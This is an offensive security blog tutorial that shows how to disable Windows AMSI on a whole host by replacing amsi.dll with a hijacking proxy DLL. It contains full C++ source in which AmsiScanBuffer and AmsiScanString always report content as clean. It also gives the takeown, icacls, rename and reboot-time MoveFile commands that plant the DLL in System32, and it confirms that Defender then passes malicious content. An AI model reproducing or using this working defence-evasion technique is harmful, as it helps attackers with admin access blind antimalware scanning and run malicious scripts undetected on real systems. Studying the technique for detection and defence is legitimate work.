Contents
- Preface
- Introduction
- AMSI Flow
- Testing AMSI
- Recreating amsi.dll
- Hijacking AmsiScanBuffer & AmsiScanString
- Replacing the Legitimate amsi.dll
- Testing AMSI Again
- Conslusion
Preface
Right off the bat, in order to exploit this you will need two things:
- Local Admin (or SYSTEM) on the host.
- The ability to reboot the host.
In addition, be aware of the following:
- This is not a 0-day, it's just taking DLL Hijacking to the next level, forwarding is soooo 2022.
- Make sure you experiment in a VM, otherwise you risk breaking a lot of things.
- This guide is for x64, if you run a process that loads
amsi.dll
fromSysWOW64
you will need to replace that one as well.
Let's begin.
Introduction
Antimalware Scan Interface (AMSI) works well, sometimes too well. Over the years many ways have been published on how to bypass AMSI, and most of them (if not all) were describing a way to patch the current process' memory in order to avoid AMSI altogether. While I was developing Spartacus I realised that I could "disable" AMSI entirely on a host, but of course only if I had already found a way to escalate my privileges to that of an admin.
AMSI Flow
For all these examples I'll be using PowerShell which uses AMSI:
If we create a proxy DLL (let's say for DLL Hijacking), it would operate like this:
And this is what we will do in this post:
Effectively what we want to achieve is to replace the legitimate amsi.dll
, MiTM AmsiScanBuffer
and AmsiScanString
, and forward the rest of the functions to amsi_legit.dll
.
But in order to achieve this we need to re-create the functions using the correct signatures.
Testing AMSI
A very quick way to test whether AMSI is working, is to type the following into PowerShell:
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
And the result will be ScriptContainedMaliciousContent
:
Recreating amsi.dll
The first step is to create a proxy for amsi.dll
, but we don't want to forward all the functions to the legitimate one.
Let's do this one step at a time.
Using Spartacus, we list the exports of the legitimate DLL - this functionality is very similar to dumpbin.exe /exports
:
Spartacus.exe --mode proxy --action exports --dll C:\Windows\System32\amsi.dll
You will notice that there is a column called prototype
which is currently populated as N/A
.
The latest version of Spartacus comes with pre-generated function prototypes that have been extracted from header files included within the Windows SDK.
By adding the --prototypes
argument to the original command, we get:
Spartacus.exe --mode proxy --action exports --dll C:\Windows\System32\amsi.dll --prototypes ./Assets/prototypes.csv
Some functions have a prototype while others don't, but in this case the ones we are interested do.
Now that we have this information, let's create a Visual Studio solution:
Spartacus.exe --mode proxy --dll C:\Windows\System32\amsi.dll --solution C:\Projects\amsi --overwrite --verbose --external-resources --prototypes ./Assets/prototypes.csv --only "AmsiScanBuffer,AmsiScanString"
Hijacking AmsiScanBuffer & AmsiScanString
Now that we have our Visual Studio solution, we have to make the following changes to dllmain.cpp
:
- Change the
#pragma comment
file location toamsi_legit
. - Add an extra include statement for
amsi.h
. - Change the
hModule
location toamsi_legit.dll
. - Remove the debug function calls.
- Hardcode the
AMSI_RESULT
value toAMSI_RESULT_CLEAN
, and returnS_OK
.
Having done all of these updates, our source will look like this:
#pragma once
#pragma comment(linker,"/export:AmsiCloseSession=c:\\windows\\system32\\amsi_legit.AmsiCloseSession,@1")
#pragma comment(linker,"/export:AmsiInitialize=c:\\windows\\system32\\amsi_legit.AmsiInitialize,@2")
#pragma comment(linker,"/export:AmsiNotifyOperation=c:\\windows\\system32\\amsi_legit.AmsiNotifyOperation,@3")
#pragma comment(linker,"/export:AmsiOpenSession=c:\\windows\\system32\\amsi_legit.AmsiOpenSession,@4")
// #pragma comment(linker,"/export:AmsiScanBuffer=c:\\windows\\system32\\amsi_legit.AmsiScanBuffer,@5")
// #pragma comment(linker,"/export:AmsiScanString=c:\\windows\\system32\\amsi_legit.AmsiScanString,@6")
#pragma comment(linker,"/export:AmsiUacInitialize=c:\\windows\\system32\\amsi_legit.AmsiUacInitialize,@7")
#pragma comment(linker,"/export:AmsiUacScan=c:\\windows\\system32\\amsi_legit.AmsiUacScan,@8")
#pragma comment(linker,"/export:AmsiUacUninitialize=c:\\windows\\system32\\amsi_legit.AmsiUacUninitialize,@9")
#pragma comment(linker,"/export:AmsiUninitialize=c:\\windows\\system32\\amsi_legit.AmsiUninitialize,@10")
#pragma comment(linker,"/export:DllCanUnloadNow=c:\\windows\\system32\\amsi_legit.DllCanUnloadNow,@11")
#pragma comment(linker,"/export:DllGetClassObject=c:\\windows\\system32\\amsi_legit.DllGetClassObject,@12")
#pragma comment(linker,"/export:DllRegisterServer=c:\\windows\\system32\\amsi_legit.DllRegisterServer,@13")
#pragma comment(linker,"/export:DllUnregisterServer=c:\\windows\\system32\\amsi_legit.DllUnregisterServer,@14")
#include "windows.h"
#include "ios"
#include "fstream"
#include "amsi.h"
typedef HRESULT(*AmsiScanBuffer_Type)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
typedef HRESULT(*AmsiScanString_Type)(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
// Remove this line if you aren't proxying any functions.
HMODULE hModule = LoadLibrary(L"c:\\windows\\system32\\amsi_legit.dll");
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
HRESULT AmsiScanBuffer_Proxy(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result)
{
// There is no need to forward the call to the legitimate DLL, as we overwrite the entire result value.
//AmsiScanBuffer_Type original = (AmsiScanBuffer_Type)GetProcAddress(hModule, "AmsiScanBuffer");
//return original(amsiContext, buffer, length, contentName, amsiSession, result);
*result = AMSI_RESULT_CLEAN;
return S_OK;
}
HRESULT AmsiScanString_Proxy(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result)
{
// There is no need to forward the call to the legitimate DLL, as we overwrite the entire result value.
//AmsiScanString_Type original = (AmsiScanString_Type)GetProcAddress(hModule, "AmsiScanString");
//return original(amsiContext, string, contentName, amsiSession, result);
*result = AMSI_RESULT_CLEAN;
return S_OK;
}
Finally, we compile the DLL under Release
.
As Spartacus copies all details from the original DLL, its properties will now look like:
Replacing the Legitimate amsi.dll
Now that we have our hijacking DLL ready, we have to replace it. But this is a bit complicated as the DLL is currently in use, but not to worry we got a way around it.
Replacing Files in Use
Windows API MoveFileExA has a flag called MOVEFILE_DELAY_UNTIL_REBOOT
which as per the documentation:
This value can be used only if the process is in the context of a user who belongs to the administrators group or the LocalSystem account.
For this task, we will use Sysinternals MoveFile which does exactly this.
Planting the Malicious File
First action is to take ownership of amsi.dll
as by default it will be owned by TrustedInstaller
.
Run cmd.exe
as an Administrator
and execute the following commands:
# Take ownership of the file.
takeown /f C:\Windows\System32\amsi.dll /a
# Give Administrators full access.
icacls.exe C:\Windows\System32\amsi.dll /grant administrators:F
Now, assuming you have placed movefile64.exe
and your amsi.dll
within C:\Projects
, run:
# Rename existing file.
ren C:\Windows\System32\amsi.dll amsi_legit.dll
# Schedule the move to the system folder.
movefile64.exe /nobanner C:\Projects\amsi.dll C:\Windows\System32\amsi.dll
Now cross our fingers, and restart the host.
Testing AMSI Again
Following the restart of the host, we confirm that our DLL has been planted:
Now, let's test our PowerShell AMSI again:
As we can see, AMSI allowed our malicious string to go through without any problems. And yes, Defender is happy as well.
Conslusion
Hopefully Spartacus will enable the exploration of more advanced DLL Hijacking techniques.